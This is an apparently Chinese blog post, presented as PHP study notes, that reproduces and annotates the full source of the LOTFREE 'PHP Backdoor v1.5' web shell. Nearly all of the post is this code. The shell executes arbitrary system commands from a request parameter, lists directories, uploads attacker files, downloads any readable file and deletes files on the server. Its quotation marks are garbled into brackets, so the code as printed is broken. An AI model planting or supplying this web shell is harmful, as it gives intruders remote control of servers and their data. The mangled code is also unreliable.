PHP Backdoor Version 1.5是由sirius_black / LOTFREE TEAM编写的一个php后门程序,这里对其进行一下简单解析,也当做自己学习php的笔记,该后门程序成执行的命令,取决于安装web服务器和php时用户的权限,如果是管理员的话,那就可以执行各种操作系统命令。 <!–goodlink函数用来过滤掉url中的一些非法字符–> <?php function good_link($link) { $link=ereg_replace([/+],]/],$link); $link=ereg_replace([/[^/(..)]+/\.\.],]/],$link); $link=ereg_replace([/+],]/],$link); if(!strncmp($link,]./],2) && strlen($link)>2)$link=substr($link,2); if($link==]")$link=].]; return $link; } //$_REQUEST用来取得提交到本文件的数据 $dir=isset($_REQUEST['dir'])?$_REQUEST['dir']:].]; //如果没有定义dir,dir取默认值].] $dir=good_link($dir); $rep=opendir($dir); //打开dir指定的路径句柄 chdir($dir); //切换到dir指定的目录 if(isset($_REQUEST["down"]) && $_REQUEST["down"]!=]") //如果定义了down { header([Content-Type: application/octet-stream]); header([Content-Length: [.filesize($_REQUEST["down"])); header([Content-Disposition: attachment; filename=].basename($_REQUEST["down"])); readfile($_REQUEST["down"]); //将文件读取到缓冲区 exit(); } ?> <html> <head><title>LOTFREE PHP Backdoor v1.5,易踪网yeetrack.com</title></head> <body> <br> <?php echo [当前绝对路径为: <b>].getcwd().]</b><br>\n]; //获取当前的绝对路径 echo [<b>dir = ‘$dir’</b><br>\n]; echo [当前目录,文件列表!<br><br>\n]; //如果已经输入要执行的命令 if(isset($_REQUEST['cmd']) && $_REQUEST['cmd']!=]") { echo [<pre>\n]; system($_REQUEST['cmd']); //在服务器上执行输入的命令,执行结果回显 echo [</pre>\n]; } //如果已经上传了文件 if(isset($_FILES["fic"]["name"]) && isset($_POST["MAX_FILE_SIZE"])) //获取post上来的文件,保存到当前目录 { if($_FILES["fic"]["size"]<$_POST["MAX_FILE_SIZE"]) //判断文件是否符合大小规范 { if(move_uploaded_file($_FILES["fic"]["tmp_name"],good_link([./].$_FILES["fic"]["name"]))) //将临时文件保存到当前目录 { echo [文件保存成功 [.good_link([./].$_FILES["fic"]["name"]).]!<br>\n]; } else echo [文件上传失败: [.$_FILES["fic"]["error"].]<br>\n]; } else echo [File too large(文件超出大小限制)!<br>\n]; } if(isset($_REQUEST['rm']) && $_REQUEST['rm']!=]") //如果定义了rm,即删除指定的文件 { if(unlink($_REQUEST['rm'])) //unlink是php的删除文件函数 echo [成功删除 [.$_REQUEST['rm'].]!<br>\n]; else echo [删除文件失败<br>\n]; } ?> <hr> <table align=]center]width=]95%]border=]0″cellspacing=]0″bgcolor=]lightblue]> <?php $t_dir=array(); $t_file=array(); $i_dir=0; $i_file=0; //循环输读取前的目录文件,放在t_dir和t_file中 while($x=readdir($rep)) { if(is_dir($x)) //如果当前处理的是目录 $t_dir[$i_dir++]=$x; else //如果当前处理的是文件 $t_file[$i_file++]=$x; } closedir($rep); //关闭由opendir打开的目录句柄 while(1) //循环输入当前路径的目录和文件 { ?> <!–用表格来展示当前目录的文件–> <tr> <td width=]20%] bgcolor=]lightgray] valign=]top]> <?php if($x=each($t_dir)) { $name=$x["value"]; //获取t_dir数组里的目录名称 if($name==’.'){} elseif($name==’..’) echo [ <a href=’].$_SERVER['PHP_SELF'].]?dir=].good_link([$dir/]).]‘>UP(父目录)</a><br><br>\n]; //展示一个UP链接,读取父目录的文件列表 else echo [ <a href=’].$_SERVER['PHP_SELF'].]?dir=].good_link([$dir/$name]).]‘>].$name.]</a>\n]; } ?> </td> <td width=’78%’ <?php //$_SERVER['PHP_SELF']取得www.2cto.com当前php脚本文件名 if($y=each($t_file)) { if($y["key"]%2==0) //如果当前处理的是key echo ] bgcolor=’lightgreen’>\n]; else //如果当前处理的是value,即文件。就将该文件展示出来,且提供 下载 链接。 echo [>\n]; echo [ <a href=’].$_SERVER[' PHP _SELF'].]?dir=$dir&down=].$y["value"].]‘>].$y["value"].]</a>\n]; } else echo [>\n]; ?> </td> <td valign=’center’ width=’2%’ <?php if($y) { //如果是文件,就提供以下删除该文件的链接 if($y["key"]%2==0)echo ] bgcolor=’lightgreen’]; echo [><a href=’].$_SERVER['PHP_SELF'].]?dir=$dir&rm=].$y["value"].]‘><b>Del</b></a>]; } else echo [>\n]; ?> </td> </tr> <?php if(!$x && !$y) break; } ?> </table> <hr> <br> <a href=]<?php echo $_SERVER['PHP_SELF']; ?>?dir=]>revenir au repertoire d’origine</a><br><br> <!–form表单,将用户输入的命令post到服务器–> <form method=]post]action=]<?php echo $_SERVER['PHP_SELF'].]?dir=$dir]; ?>]> <!–action动作,将请求发送给当前php文件,并且定义dir,刷新当前文件列表–> Execute commande(执行操作系统命令) <input type=]text]name=]cmd]> <input type=]submit]value=]Run(执行)]> </form><br> 上传文件到服务器当前目录:<br> <form enctype=]multipart/form-data]method=]post]action=]<?php echo $_SERVER['PHP_SELF'].]?dir=$dir]; ?>]> <!–action动作,将文件post到服务器,刷新当前文件列表–> <input type=]file]name=]fic]><input type=]hidden]name=]MAX_FILE_SIZE]value=]100000″> <input type=]submit]value=]开始上传!]></form><br> <br> 易踪网yeetrack.com <center> PHP Backdoor Version 1.5<br> by sirius_black / LOTFREE TEAM<br> Execute commands, browse the filesystem<br> Upload, download and delete files…<br> <a href=]http://www.lsdp.net/~lotfree]>http://www.lsdp.net/~lotfree</a><br> </center> </body> </ html >
查看更多关于php后门程序解析 - 网站安全 - 自学php的详细内容...